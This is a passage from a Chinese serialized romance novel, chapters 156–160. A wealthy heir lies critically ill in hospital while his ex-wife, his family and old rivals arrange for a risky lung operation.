指尖抑制不住的颤抖,她紧紧的攥紧掌心,一步步走向霍明达。
她瞪着眼前的男人。
猛地扬起手,一记狠重的耳光清脆地掴在霍明达的脸上。
声响在空中凝滞……
“我的疯病是怎么来的?霍明达,是你这个不要脸的男人,在外面睡女人,搞破鞋,生私生子,一点一点把我逼出来的,你在得意什么?你才是个刽子手,最该死的人是你。”
蓝旗咬牙切齿。
这一巴掌把霍明达打懵了。
即便当年,蓝旗被迫离婚,离开霍家。
也没有这般的气性。
是谁……给了她这样的底气?
是谁,壮了她的胆。
脸上火辣辣的,霍明达眼底涌起狠厉。
扬起手,就要狠狠回击,找回面子。
不料下一秒,他的手腕被死死攥住。
宋南伊高高抬起下巴,迎向他盛怒的目光,“请您三思而后行。”
因用力而发白的指尖,是她要保护蓝旗的决心。
已经离开霍家的女人,什么时候,要受这般的欺负了?
“好了,里面的人,还不知道能不能活,你们在外面不要太过分,都安静一点。”
霍正诚看不下去。
出面,让这场闹剧结束。
时间还在跟死神赛跑。
江淮急得根本坐不住。
有医生从急救室里出来,他一个健步冲了过去,“医生,我们家霍总,怎么样了?”
“他的肺部感染的很严重,目前还没有脱离生命危险,你们稍安勿燥,我们一直在尽全力抢救。”
医生说了一些场面话。
但又让人心里没底。
人,到底是死,还是活,根本没人知道。
霍明达将江淮叫到跟前,“他的病他自己知道吧?”
“是。”江淮点头。
“那他既然知道自己的病情,一定是做了万全的准备。”他是了解自己这个儿子的,他向来布局深远,一定有所安排,“那他一定是写了遗嘱吧?”
第156章 我死后,你要照顾好她
这话一问出来。
连霍正诚的脸色都变得阴沉起来。
拿起拐杖,就往霍明达身上招呼。
“你听听,你问的这是什么?你在诅咒你的儿子活不了是不是?”霍正诚每一下都打的特别重。
霍明达不敢还手,只有躲的份,“爸,我不是这个意思。”
“不是这个意思,那是什么意思?”
“我是在想,万一时序出了事,咱们后面的事情,还是要做啊,如果没有万全的准备,那后面乱成一锅粥,这不是让江城的人,看咱们霍家的笑话吗。”
说到底,还是做了霍时序死的准备。
霍明达能接受白发人送黑发人。
霍正诚不行。
霍时序从很小的时候,他就亲自带在身边教导,他最疼这个孙儿,他是霍家唯一的希望。
他不准……
“如果老天爷非要收一条人命,那就来收我的命,不要让时序离开,他才三十岁,他还年轻啊,我这把老骨头,不中用了……”
霍正诚眼眶透出血一般的红。
像在跟死神交换条件。
陈伯怕老爷子太激动,嘎了。
赶紧劝他,“老太爷,孙少爷福大命大,您别太担心了,要注意身体啊。”
气氛一度沉闷。
走廊上变得静悄悄。
差不多凌晨两点的时候,急救室的门,才再次打开。
这次医生摘下口罩,疲惫的望向了家属。
“病人算是抢救过来了,不过他的肺功能还是不太行,如果要身体健康……是一件很困难的事情。”医生可能也怕刺激到家属,但不把病情交代清楚,又不行,“实在不行就换肺,但换肺的五年生存率也不高,还有待商榷,不管怎么样,病人现在救活了,先送去观察室吧。”
江淮哭了,蓝旗也哭了。
有劫后余生一般的庆幸。
但这份庆幸并不多。
大家都很沉重。
“阿姨,要不,你先回去休息吧,这儿有我呢,您放心,我会陪着他的。”
蓝旗点头。
她想,儿子一定也希望宋南伊在他的身边陪着。
“有你在,我放心。”
霍老爷子去看了一眼霍时序。
握了握他还保有温度的手,眼中依然透着心疼和悲伤。
像是跟他讲,也像是跟自己讲,“好好的养病,联姻的事情,日后再说,身体要紧。”
很伤感。
通常人会在面临死亡时,释怀很多。
谁也不会是例外。
等所有人,相继离去。
宋南伊这才走进了观察室,看了霍时序一眼。
他一直在睡着,麻药劲还没有过去。
挺抱歉的。
她一直不知道他伤的这么重。
从观察室,推到病房。
宋南伊寸步未离。
累了就靠床边,眯一会儿。
医生过来叫家属去做病情分析。
宋南伊这才将霍时序交给江淮,“江特助,你在这儿看着他,我去去就来。”
“您放心。”
霍时序醒来时,他目光是呆滞的,一直盯着雪白的天花板,不说话,好像呼吸也不是那么的有力。
“霍总?”
“霍总,您醒了?”
江淮没敢大声,轻轻的唤他。
霍时序的眼睫微微颤了颤,视线模糊。
声音虚弱的问,“江淮……我睡了多久?”
“没多久,霍总。”江淮立刻俯身,声音放得又轻又稳,“手术很成功,医生说您需要好好休息,会康复的。”
霍时序的目光有些失神,望着惨白的天花板,“江淮……我做了个梦。”
他梦见自己站在一座雾蒙蒙的桥头,桥下河水漆黑无声。
有人从后面推着他,逼他过桥。
他拼命挣扎、叫喊,却发不出一点声音,也没有人理会他。
霍时序大口呼吸。
脸憋的通红。
江淮紧张的劝他,少说几句,“霍总,只是个梦而已,不重要的,您先休息一会儿。”
他吃力的摇了摇头,“江淮,我想我的心愿,可能这辈子都完成不了。”
“霍总,您别胡思乱想的,太太她守着您几天了,一直是寸步不离的,刚刚医生叫她去说病情去了,马上就能回来。”
江淮的劝慰,没起太大的作用。
霍时序预想自己要死了。
而且是不久之后的事情。
江淮明白,霍时序口中所谓的遗憾,大概就是和宋南伊复婚的事情。
“霍总,等您病情好一些,再慢慢跟太太讲,我想她一定会同意跟您复婚的。”
霍时序艰难的摇头。
他知道,机会渺茫。
“江淮,我这辈子除了南伊,其实也没什么可遗憾的事情,若我不幸死掉了,你要答应我,一定要帮我照顾好她们母子,可以吗?”
他像在做临终嘱托。
江淮难受极了,眼眶红的要命,“霍总,您这是说什么呢,您的手术很成功,马上就能好起来的,您死不掉的,您还可以活很多很多年。”
霍时序目光黯淡。
很多年吗?
他也想活很多年。
但他知道,没有很多年。
他强求宋南伊来爱他,没得逞,成了一辈子的遗憾。
人这一辈子,总是要有点遗憾的。
他认了。
“江淮,其实我死过一回了,是和南伊一起死的,那个瞬间很幸福,这辈子,我要自己先走了,有点孤单,但是宋南伊可以活的很幸福,这就够了。”
霍时序眼珠缓慢的转动着。
望向了窗外。
又到深秋了。
宋南伊说过,她最喜欢秋天。
喜欢秋天的风,秋天的落叶。
他死在她喜欢的秋天,也挺好的。
这次不会再有重生了。
这次真的要跟死神面对面了。
他长长的呼出一口气,“我前世做错了,对不起南伊,对不起我们的孩子,也对不起我的母亲,这一世,我又要这么早的走,无法照顾他们,江淮,日后辛苦你了。”
江淮难受。
不敢哭,只能死命的咬着唇,“霍总,您别太悲观了,实验室那边,正在加班回点的研制治疗的药物,您的病是有的治的。”
这时。
宋南伊推门进来。
看到霍时序醒了,急忙走到他的病床前,探问,“你醒了?感觉怎么样?呼吸还好吗?有没有闷的感觉?”
她很温柔。
眼中的关切也是真的。
他想挤一抹笑给她,却发现连这样的表情,都变得很困难。
只有虚弱的声音,“挺好的,别担心。”
“那就好好休息,好好治病,我一直在。”她用棉棒沾了水,给他轻轻擦着干涩的唇,“别胡思乱想,只要是病就能治,不过现在治腿要放到后面了,等你肺治好了,咱们再慢慢的一样一样的治疗。”
“南伊,我拖累你了。”他很抱歉。
看向她的眼神,透着满满的愧疚。
宋南伊轻轻的笑笑,“别说这个,如果不是我,你也不会这样,我照顾你是应该的。”
“你走吧。”他突然说。
宋南伊动作一滞,不解,“你说什么?”
“我说你走吧,我不需要你的照顾,我现在也不想跟你复婚了,我不会强迫你要接受我,强迫与你开启一段新的人生,你走吧,以后都不要出现在我的面前。”
江淮心脏一紧。
这是什么情况。
“霍总,您……”
第157章 拼夕夕砍脑袋上了
“江淮让她走吧。”霍时序虚弱的说完最后一句,人便闭上了眼睛。
不再跟任何人沟通。
江淮也不知道该怎么办。
宋南伊无奈的放下棉签,“没关系,我就先出去透透气,让他也再好好的睡一觉。”
宋南伊的心里有一些小小的难过。
不是为自己,是为霍时序。
刚刚医生跟她讲,霍时序的情况,很不乐观。
即便是现在捡回一条命,随时都可能离开。
不是说有三到十年?
怎么突然就……
“宋南伊。”
在宋南伊沉思的时候,有人叫她。
回眸。
她看到了一张,不愿意看到的脸。
是万同齐。
她差点忘了,他的那位得了绝症的女儿,也在这家医院里治病。
“我听说霍时序病了,还病的不轻,快要死了。”
这话听的令人血压升高。
宋南伊的小脸冷起,“会说话吗?一把年纪了,跟个智障一样,这事跟你有什么关系?我们很熟吗?”
“你这个丫头,说话比我还难听,”万同齐一步走到宋南伊的面前,打量着她,眉眼讥诮,“你当初要认我的时候,可不是这副嘴脸。”
“认你?”宋南伊讥冷扯唇,“我什么时候说认你了?我只是想确认一下,当年那个把新生儿丢在医院里的混账,是不是你罢了。”
“你……”她竟然骂他,真是倒反天罡。
“你不仅把孩子扔掉了,还不管不顾产褥期感染的女人,导致她诱发了败血症,不久后死亡,你有什么脸在这儿叽叽歪歪?”
这是她去找过万同齐后,调查公司,发给她的补充材料。
如果早一天收到。
她便不会去找这个人面兽心的,‘亲生父亲’。
万同齐似乎对这事,并没有太多的感触。
抬手道,“都是过去的事情了,还提这个做什么,我找你,是有重要的事情谈的。”
宋南伊大概也能猜出什么。
想都没想的拒绝,“想找我给你的亲生女儿换肾?门都没有。”
他的女儿是肾衰竭。
那女孩的妈妈,是医院里哭的最惨的一个。
白天晚上的,引起不少人的反感。
万同齐又摆手,“也不是,她生病了得了绝症,是她命不好,总不能让别人掏心掏肺的去让她活。”
这话说的又像人话,又不像人话。
宋南伊匪夷所思的望向他。
“那你要说什么?”
“既然霍时序要死了,你是他的太太,一定会得到他不少的遗产吧?”
他眼中闪着精光。
贪婪的像一只偷油的老鼠。
宋南伊蓦地笑了。
“你还真的挺搞笑的,我得到多少遗产,还能给你是怎么的?”
“我是你的父亲,你给我还不是应该的。”他理所当然的挺起胸脯。
万同齐这几年卖画的钱,全贡献给了赌场。
现在负债累累,高利贷追的他很紧,正商量着是卸胳膊还是卸腿。
他想从宋南伊这儿,拿到一笔钱,还他的赌债。
只是这想法太天真,太理所当然。
换来的自然是,宋南伊变本加厉的拒绝和嘲弄。
“你是谁的父亲?你连自己的婚生女儿,你都见死不救,你连个人都算不上,呵,还真是拼多多砍到头了,人已经死了,还当自己活着,在这儿当起爹来了,你配吗?”
这话有点刺痛了万同齐。
他扬起手来,想打宋南伊。
“你……”
刚好被江淮看到,“你干什么?”
他三两步走到二人面前,紧紧的扣住了万同齐的手腕。
他疼的乱叫,“江特助,你误,误会了……”
“我警告你万同齐,以后敢对我们太太不敬,小心你的狗命。”江淮没客气。
少了平日来的温雅。
凶神恶煞的像要吃人。
宋南伊也有些意外,大概是霍时序的病情,影响到了江淮。
这万同齐撞枪口上,也是活该。
“不敢,不敢……”
万同齐很会见风使舵,审时度势,见人说人话,见鬼说鬼话。
此时,谦卑低调的像个孙子。
“江特助,你也知道我和你们太太的关系,我就是吓唬吓唬她,我还能真打吗?我心疼她都来不及呢,她可是我遗失的珍珠啊。”
江淮听的皱眉。
这话可够恶心的。
他转头看向宋南伊,“您没事吧?”
宋南伊摇头。
万同齐没敢纠缠下去。
找了个借口,先溜了。
江淮和宋南伊在病房外的走廊上坐了许久。
“他……心情有没有好一点?”宋南伊问。
江淮难以回答。
只是答非所问的说,“霍总说……,以后要小心顾南风,他这个人很会演戏。”
宋南伊笑了。
“顾南风是霍家的私生了,他这是有偏见。”
江淮摇头。
把当是他把假药给小核桃吃的事情说了。
宋南伊震惊。
“那药是假的?怎么可能,小核桃明明有好转的,他拿去检验后,又还给我了啊,如果是假的,他不可能再让小核桃吃下去的。”
“拿去检验证明是假药后,霍总就让人换药了,这事,没跟您讲。”
宋南伊一时怔住。
心口苦苦的。
涩涩的。
江淮又说,“霍总让我以后全权负责您和小少爷的事情,更希望您私下不要跟顾南风见面,顾南风一肚子算计,怕您吃亏。”
“他在交代后事吗?”宋南伊一阵凄凉。
“霍总说,他挺对不起你的,他答应过你,要把伤害小少爷的真凶找出来,然后交给你处理,至今,没能完成,他说……他欠你的太多太多了……”
江淮声音哽咽。
他在努力的装平静。
宋南伊哂笑,“他要是真死了,那欠的确实是太多了。”
“霍总的病,没想到进展这么快,本来是说三到十年的,医生说他这么年轻,十年没有问题的……”
又是一声,心碎的叹息。
比起江淮,宋南伊觉得自己,对霍时序的感情太过于复杂。
不像他,一直忠心耿耿。
无论他是个好人,还是个坏人,都没有变过。
人的感情很奇怪。
总会因一些突发的状况,就变了。
她可以不原谅他,但她也不希望他死掉。
宋南伊低头沉默着。
脑中掠过的,是她和他最初相识的场景。
他们很小就认识了。
他对她起歹心时,他在她的眼里像个怪物,变态。
他说他追了她七年。
应该是从他动心的那一年开始。
霍时序是她的初恋,他是那样的炙烈爱过她,又那样粉身碎骨的伤过她。
算了。
无论是爱,还是恨,在这一刻,彻底的结束吧。
“江淮,他的病真的没得治吗?”
江淮摇头。
目前工作室那边治愈的药,一直是研究阶段,原本的计划,有几年的时间,到时,就可以治了。
谁知道,霍时序的病,突然恶化。
现阶段,如果需要更好的治疗,就要去国外。
以霍时序现在的身体状况。
压根坐不了飞机。
“很难。”
第158章 外面的屎比家里的饭好吃
宋南伊明白了。
她决定去找裴吟的哥哥,裴啸,碰碰运气。
这人,是个神人。
几乎认识全世界最顶尖的医生,并且他在常年在国外生活,自然知道一些,他们无法接触到的资源。
找了个时间。
宋南伊约裴吟见了个面。
还没等她说,自己的诉求。
裴吟先递给了她一张请柬。
“这什么?”宋南伊接过来打开,震惊中又透出惊喜,“你和陆律师,要订婚了呀?天哪,你们终于修成正果了?”
“什么就修成正果了,说的好像我们一直谈恋爱来着,我们就是各取所需,他跟我说过,他一直喜欢的人是你。”
裴吟说这个,不是嫉妒,也不是阴阳怪气。
她接受不了陆为谦,当着她的面,光明正大的喜欢别人。
但她能接受,陆为谦喜欢宋南伊。
她知道,宋南伊这辈子都不可能喜欢他,更谈不上接受他。
原因很简单。
陆为谦和霍时序的关系。
宋南伊脸上的神色收紧,想解释什么。
裴吟无所谓的摇头,“没关系的,我们只是联姻,联姻谈什么感情呢,就算是上床,也不过是彼此的生理需要,都不会交出心,受不了什么伤害的。”
裴吟的话,令宋南伊有些伤感。
她太了解裴吟。
她再喜欢一个人,想交出心,也挺难的。
她说过,心就是爱,爱不能随便给,怕被糟蹋了。
“你真这样想?”
裴吟点头,“我也是权衡过后,才觉得陆为谦最合适,说实在的,我想要一个基因还不错的宝宝,如果能生个女孩就更好了,他也对此表示理解。”
“你们……嗯,好吧,什么时候订婚?”她看上面的日期,“下个月啊,我到时可能……会没有时间。”
“啊??”裴吟有点遗憾。
放下请柬,宋南伊开始说正事,“我今天找你,是想让你帮着联系一下你那神通广大的哥哥,看看国外有没有哪家机构或是医院,有治疗肺病类的专家,霍时序病了,病得不轻……”
“啊,那贱狗终于得到报应了。”裴吟拍手称快,不明白宋南伊为什么还要帮他治病,“这种人,你还给他治什么,他死了,你正好继承他的财产,这多好的事儿。”
“他这病是为了救我,落下的,他要真死了,我良心上过不去。”
裴吟似是听出了些什么,皱起眉头问,“你是不是打算原谅他了?”
“谈不上原谅不原谅吧,我想先把他的病治好,他死了,总是我不想看到的。”
裴吟看到宋南伊心软了。
有恩不报,不是宋南伊的风格。
小时候,她借人一块橡皮,还会再买块新的还回去。
何况是救命之恩。
“我哥的电话你还有吗?”裴吟问她。
宋南伊很多年没有见过裴啸。
这男人,偶尔会在朋友圈发几条,无关痛痒的文字的事情,已然是五年前的事情了。
“微信也很多年没有发过了,不知道他有没有把我删掉。”
“他的微信还是那个,这样,手机号我也给你一个,你看哪个方便就联系哪个,我也会提前跟他讲一声的,如果他能帮到你,一定会肝脑涂地,两肋插刀,你的事情,他向来上心。”
“别胡说。”宋南伊记下了裴啸的手机号,“以后可不能拿我们再开玩笑了,你哥的女朋友会生气的。”
“她爱生气就生去呗。”裴吟对那个女的,不怎么喜欢,“一个娇娇女,个子那么矮,脾气还那么大,真的,不是我瞧不上裴啸,他追求的女人中,除了你,没一个审美在线。”
“过日子,是你哥跟她过,又不是你,你可别乱搅和。”宋南伊提醒。
裴吟耸眉,摊手,“我才没那闲心搅乱他的生活呢,不过他得感谢我替他去联姻,他才能自由的,去追求自己的爱情。”
“你和陆……为谦,联姻也不是没有幸福过一生的,慢慢来嘛。”
明明郎才女貌的。
裴吟笑了,欣欣然的说,“你想多了,他为陆家在做选择,我也在为我们这濒临破产的裴家在做选择,各自为了各自的家人,也许哪天陆家倒了,或是裴家倒了,我们就一拍两散了。”
“我觉得你应该,尝试着跟陆为谦,培养一下感情,日久会生情的。”
裴吟噗嗤。
笑宋南伊单纯。
“日久只会检验性能力,生不出感情。”
裴吟过于固执。
宋南伊便不再劝下去。
其实裴吟和陆为谦,无论从哪方面都很登对。
一个脾气急,一个脾气缓。
一个风风火火,一个沉稳平和。
她总是觉得,他们两个是有缘分的。
挂念着霍时序。
宋南伊和裴吟没有呆太久,便回了医院。
霍时序的情况,还是不算太好。
鼻子上是吸氧的面罩,来保持着基本的呼吸。
人时而昏睡,时而清醒。
江淮看她回来,忙问她情况。
“我要到裴啸的联系方式了,一会儿我就去联系一下,希望能有一个好的治疗方法。”
江淮:“裴先生在国外的医疗界,挺有名气的,应该能帮得上忙。”
趁着霍时序睡着的功夫。
宋南伊安静的坐在病床前,给裴啸先发了条信息。
“裴啸哥,有件重要的事情,想请你帮忙,方便吗?”
消息发出去。
石沉大海。
差不多半天的时间,她都没有收到回复。
发信息的页面,看了又看。
确定没有被拉黑后。
她又在几个小时后,重新发了一条,“裴啸哥,能收到信息吗?”
这次发出去后。
出现在了红色的感叹号。
她被删了?
啥意思?
不至于吧?
不想帮忙吗?
还是……
正当宋南伊想不通的时候。
手机突然响了一声。
是裴啸的信息回了过来,“不好意思伊伊,我刚刚误操作了,一直在忙,没看手机,有事你说。”
误操作?
没看手机?
有点矛盾。
她没在意,忙写消息,“那你什么时候有时间,咱们电话里说吧。”
这次,那头秒回,“等我晚一点联系你。”
“好。”
宋南伊看着手机里的信息。
说不出哪里怪。
就是有点怪怪的。
手机那头的男人,发完信息,页面还没有关,就被女人从他的掌中抽走,然后重重的摔在地上。
手机电池爆炸的声音,震耳欲聋。
她自己也被吓着了。
但还是很强势的质问,“裴啸,你可真贱,是个女的,勾勾手指,你就跟着走了,对吗?你是属狗的吗?专喜欢闻骚狐狸的味?”
裴啸看了眼地上碎掉的手机。
拧着眉心看向,醋意横生的女人,脸如滴墨。
“夏北柠,你看我手机,我给你看了,你删我好友,我也由着你了,你没完没了是不是?你要觉得我这个人不行,那就分手,别难为自己。”
他起身,冷着脸往外走。
夏北柠挡在了他身前,仰着脸,继续发狠,“你终于找到理由了对吗?外面的屎,果然比家里的饭香,裴啸,你对得起我吗?”
第159章 改嫁给他的死对头
“说话何必这么难听,我没有人身自由吗?”
又要谈对得起,对不起的问题。
他实在疲于应付。
裴啸不说话,推开她。
夏北柠转身,从身后抱住了他,“阿啸,不要这样,我不分手,我就是不喜欢,你和别的女人亲近,我就是太喜欢你,太爱你了,你不要这样对我。”
“你冷静一下吧,我今天去公司睡。”
他掰开她的手指。
径直往外走。
夏北柠哭了起来,失控的嘶吼,“你不是去公司,你是去哪个女人那儿,对吗?裴啸,你不能这么对我,你不能……”
声音从裴啸的身后传来。
他近乎烦躁的拧了一下眉心。
……。
宋南伊是很晚的时候,才接到了裴啸的电话。
他一开口便是抱歉,“今天的事情,不好意思。”
“没事的裴啸哥,我知道你忙,是我打扰了才是。”
手机那头的男人,干笑了声,“哪的话,阿吟给我发了条信息,说是霍时序病了?”
“是,不瞒你说,病得挺重的,想找你帮个忙,看看能不能找到顶尖的肺病专家,你在这个圈子里,认识的人多,我……想麻烦你一下,钱不是问题。”
宋南伊挺不好意思的。
她知道人情这种东西不好用金钱衡量,但她现在没有别的可以给。
“啸哥,你看你……”
“伊伊,我们的关系,谈什么帮不帮忙,我和霍时序也算是不错的朋友,他出了这么大的事情,我不可能袖手旁观,你放心,这几天,我就联系一下相关的专家,你一会儿把他的病例和片子发给我。”
有裴啸这话。
宋南伊的心松弛了不少。
“好的,啸哥,我马上发给你,辛苦你了。”
“跟哥别这么客气。”
裴啸很好说话。
不管是看裴吟的面子,还是如他自己所说的,他和时序是朋友。
这情,她记下了。
回到病房。
霍时序醒了。
江淮喂他喝了点水,人依旧没什么精神。
“江特助,你回去吧,好好的睡一觉,我在这儿照顾他就好,没必要一起熬,你白天还有工作呢。”
宋南伊怕江淮熬坏了身体。
这里里外外的,还得指着他。
“没事的太太,我挺得住。”
宋南伊接过了他手里的水杯,“挺得住,也不能再挺下去了,听我的。”
“是。”
江淮离开后。
偌大的病房里,只有她和霍时序两个人。
没有外人在。
霍时序也没有看她。
刻意营造的冷漠和疏离,宋南伊一一忽略。
她很自然的,跟霍时序聊着他的病情,“我刚刚联系裴啸了,他答应帮忙,应该很快可以找到对口的专家,到时多花点钱,请他们来江城会诊,这样,你就不用奔波到国外。”
听到裴啸的名字。
一直闭着眼睛的霍时序,这才掀起眼皮,看向了宋南伊。
这个人跟陆为谦不一样。
陆为谦当年是暗恋宋南伊,自始至终,都没敢表达他的爱。
偷偷的当纯爱战神。
裴啸是明晃晃的抢,那些年,为了跟他抢宋南伊,两个打过的架,两只手都数不过来。
裴啸是他追求宋南伊路上,最大的阻碍。
差一点就被这个男人成功截胡。
现在他要死了。
是不是就便宜这个裴啸了。
“你对他还有情?”
宋南伊微愣,“什么情?”
“我对他旧情难忘?”他嘲弄的笑着,“我知道,你喜欢过裴啸。”
宋南伊轻笑,觉得无聊,“你知道的事情,还真不少。”
“其实,这个下家还不错,比陆为谦强。”霍时序咳嗽了起来,“至少他光明正大的,咳,咳……”
这明显是被气到了。
咳嗽的停不下来。
宋南伊给他捋着胸口,好一会儿才压下去,“那你要不要好好活着?要是死了,我可能真的带着你的娃,改嫁给你最讨厌的死对头。”
他刚要说,你敢。
话走到嘴边又咽了下去。
讲良话,裴啸很优秀,他有些地方真比不上。
宋南伊要是真的嫁给了裴啸,他还挺放心的。
至少,比嫁给陆为谦放心多了。
“我虽然讨厌他,但他确实值得托付,他是个正人君子,有事摆在明处,不像陆为谦……是个阴人,只要你不嫁陆为谦,嫁谁都行。”
宋南伊也不理解霍时序,为什么就是讨厌陆为谦。
说人家是阴人,好像他多么的上了台面一样。
不过,以后他也没有讨厌陆为谦的机会了。
“陆为谦要和裴吟订婚了。”她说。
霍时序错愕。
看向宋南伊的眼神里,透着困惑和求证。
宋南伊确定地说,“就在下个月初,请柬都给我了,但你要治病,我可能也就去不了,等有时间,我就去给裴吟准备一份拿得出手的礼物。”
宋南伊自顾自的说着。
霍时序只是淡淡听着,并没有给她任何反应。
或许这事,对他来说,太突然了吧。
他应该以为陆为谦会纠缠她一辈子。
霍时序就是有,太多的想当然。
这都不是宋南伊喜欢的地方。
人上了年纪,得用成熟和宽容的眼光,来看待人和事。
更何况,他们都经历了好几世的,爱恨情仇。
成长是必需的。
如果他有机会的话。
“这些都不重要,你别胡思乱想的,快快好起来,就算是为了……小核桃,能有个爸爸,你也得好好的坚强的活着,不是吗?”
霍时序的眸光,黯淡了下去。
他更沉默了。
与宋南伊几乎是零交流的状态。
宋南伊低头握着手机,忙着给裴啸发霍时序的各种检查结果,和电子档的片子。
裴啸本身就是位医生。
宋南伊有什么不明白的地方,他也会跟她解释。
男人很耐心,但回复的好像语音里面,有一些摔摔打打的不和谐的声音。
宋南伊记得,裴吟不止一次说过,裴啸的女朋友脾气很大。
她生怕自己的打扰,让这位女朋友误会什么。
“裴啸哥,那接下来就麻烦你了,你尽力就好,别因为这事,让嫂子生气或是误会。”
“不会,那我有了消息,就通知你。”
“嗯。”
裴啸终于放下了手机。
他办公室里瓷器,也基本上被夏北柠摔了个遍。
修长的手指,捏着眉心,一脸的疲惫,“摔也摔了,打了打了,你能不能让我安静的呆一晚上。”
“不能。不能不能不能……”
夏以柠尖叫。
像疯了一般。
裴啸闭上眼睛,怠意中掺着无奈,“中南街的别墅给你,车子也给你,我的存款也给你,分手吧夏以柠,我们不要在一起互相折磨了。”
“不分,就不分。”夏以柠在气头上,根本不想听裴啸的话。
她所理解的分手。
一定是裴啸在外面有狐狸精了。
男人就是爱偷腥。
谁也不会是例外。
“裴啸,你为什么总想跟我分手,我对你不好吗?我不爱你吗?我跟你在一起图过你什么?你现在嫌弃我,你现在觉得我配不上你了,是不是?”
“你在外面的女人,到底是谁?是前台艾米?还是你刚招的秘书,琳达?还是你手机里那个,我删了又被你加回来的伊伊?你告诉我,裴啸,你告诉我……”
她抓着裴啸的领口。
重重的晃着他。
裴啸像个没灵魂的木偶,被她扯着。
“裴啸,你现在是不是嫌弃我了,嫌弃我被人强暴过,嫌弃我不干净了,是不是?”
夏北柠哭了。
她搂着裴啸的脖子,紧紧的,像是要抓住什么,“阿啸,你忘了你当初说要保护我一辈子了?你说过,你不嫌弃我的,你是不是都忘了?”
“我变成这样,不都是因为你吗?你要做负心汉吗?既然我们活着都不幸福,那我们都去死好了,裴啸,我们都去死,好不好?”
第160章 让我帮你养儿子,先改姓吧
宋南伊抽了个时间。
去了趟工作室。
裴吟要订婚,作为她最好的朋友,她早在几年前就已经为她亲手设计过一款珠宝项链。
中间的裸钻,是她托人去国外的拍卖上拍下的。
极为昂贵,也算是她能付得起的极限了。
“老板,这项链,终于是要送出去了,我猜,裴吟姐收到后,指定会幸福哭了的。”
邓雪给项链,配了一个最漂亮的盒子。
递给宋南伊检验。
宋南伊笑笑,这是这段时间,唯一高兴的事情了。
“希望裴吟能喜欢。”
“一定会的老板。”邓雪恭敬的站着,脸上淡淡的笑。
宋南伊看向她,似是想起了什么,拉开抽屉,拿出一张银行卡给她,“这段时间辛苦了,尤其是岳川离开后,这工作上上下下,里里外外都由你撑着,我很感激你。”
“不,不。”邓雪慌忙摆手推辞,“老板,这就是我应该做的,你别这么客气。”
“这算年终奖吧。”
上一世,她给邓雪买了套小房子。
这一世,卡里的钱,也同样可以买得起一套还不错的小房子。
“收下吧。”
邓雪没敢再推辞,诚惶诚恐的收下银行卡,怯生生的道谢,“谢谢老板。”
“接下来,你还要再辛苦一段时间了,我得陪霍时序看病,不过,我会尽快安排一个帮手来帮你的。”
宋南伊对邓雪委以重任。
她保证道,“老板,我一定会好好工作的。”
“把你妈接到江城一起生活吧,要勇敢的对家暴说不。”
邓雪一时有些恍惚,“老板,你怎么知道,我妈她……”
宋南伊笑笑,意识到,这是她上世知道的事情,“好像,偶尔听你提起过。”
邓雪抓了抓头发,她提起过吗?
……
宋南伊亲自开车,去要裴吟送了这份礼物。
裴吟惊呆了。
嘴巴夸张张大,久久没有合上。
“天哪,你这不会是拿贱狗的钱,买的吧?据我所知,这块钻石几千万是有的。”
宋南伊挑眉,微笑,“我对你够意思吧?”
“太他MO的……够意思了。”裴吟轻抚着这份沉甸甸的礼物,头一次湿了眼眶,“你可真是……,自己攒的那点小金库,都花光了吧?”
“你喜欢就好,你管我花没花光。”宋南伊紧紧的抱住了裴吟,“裴吟,你值得,你值得这世上最好的,我希望你能幸福,真的,无论是哪种幸福,我只要你幸福。”
裴吟又哭又笑的,脸上的妆都花了。
“为了这串项链,我也得幸福啊。”她在宋南伊的脸上,狠狠的亲了一下,“南伊,不要担心我,我这种人,是不会吃亏的。”
“当然,这点我相信。”
她的裴吟啊,一定不会被欺负的。
……
宋南伊将自己的私事都办完。
带着小核桃,来看爸爸。
小家伙看到爸爸如此的虚弱,好像要**,抱着他的脖子,哭的拉都拉不开。
“爸爸,你不要死,你**小核桃怎么办,妈妈会嫁给别的男人,他会打小核桃的。”
“如果他们再生个孩子,小核桃就没有家了,爸爸,你要活着保护小核桃呀。”
“爸爸,快一点好起来,我把我的玩具全部给你,你答应要带我去冲浪,你还没带我去呢。”
“爸爸,爸爸……”
一旁的宋南伊:……这确定是她生的?
霍时序掉泪了。
他也不想死,可他没办法。
“儿子,别哭了,爸爸不死,爸爸会活着的,爸爸答应了你好多的事情,一定不会食言的。”
男人有气无力的说着。
小核桃死死地抱着霍时序。
呜呜的哭。
像要是生离死别似的。
哭的令人动容。
“小核桃,爸爸需要休息,先让江淮叔叔送你回家好吗?”宋南伊牵起小核桃的手。
小核桃还算听话。
终于是收住了哭声。
他看着妈妈,不放心的叮嘱她,“妈妈,你不可以给爸爸喂药哦。”
“怎么呢?”
“电视上有一个阿姨,给一个叔叔喂药,那叔叔就**。”小家伙抓了抓头发,“那个叔叔叫大郎。”
宋南伊:……
“好了,你想多了。”
宋南伊将小核桃交给江淮,“江特助,辛苦你送到我妈那儿。”
“是。”
送走小核桃。
霍时序又被送去了抢救室。
医生说他太激动了,差点一口气没上来。
宋南伊真的不知道说什么好了。
……
几天后。
裴吟,陆为谦,和回国的裴啸一起出现在了霍时序的病房。
“裴啸哥,你回国了?”宋南伊有些意外
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同样,她也在期待着好的事情发生。
“裴吟和为谦要订婚了,我这个大哥,非回来不可。”裴啸担忧的视线,落到了霍时序的苍白的脸上,“更主要的是,我的好兄弟,现在病重,我不回来不行。”
陆为谦亦是如此,补充道,“是啊,我们订婚事小,时序这的这么重,实在是令人担心。”
霍时序没有说话。
只是冷冷的看着,这两位‘情敌’,一瞬不瞬的。
“霍时序,你看大家都多关心你,你争点气,可别先死啊,你**,我骂谁去啊。”裴吟也补了句。
话不好听。
倒也没有恶意。
宋南伊请各位坐下。
裴啸坐到了病床前,看着霍时序说话,“我专门找了朱利安教授,他是这方面的专家,他说不是完全没有机会,得做一个手术,如果手术成功的话,你可以撑到新药研制出来。”
这显然,已经是一个很好的消息。
霍时序的面色,却依然不轻松。
“手术成功的率,有几成?”他哑着声音问裴啸。
裴啸沉思,“三成。”
三成的把握,对于一个病重的人来说,是机会,也不是机会。
“如果手术失败,我连下手术台的机会都没有,对吗?”
裴啸不否认。
是这样的结果。
“虽然凶险,但是你得相信朱利安教授的技术,他还做过更凶险的手术,你也不必过于担心。”
霍时序涩笑。
三成的手术机会,他如何能不担心。
“我看你不是来救我的,是直接来索我命的。”
霍时序对此手术,产生了抵抗的情绪。
想要活命就只有这一个机会,除了朱利安医生,没人肯出面,做这种只有三成概率成功的手术。
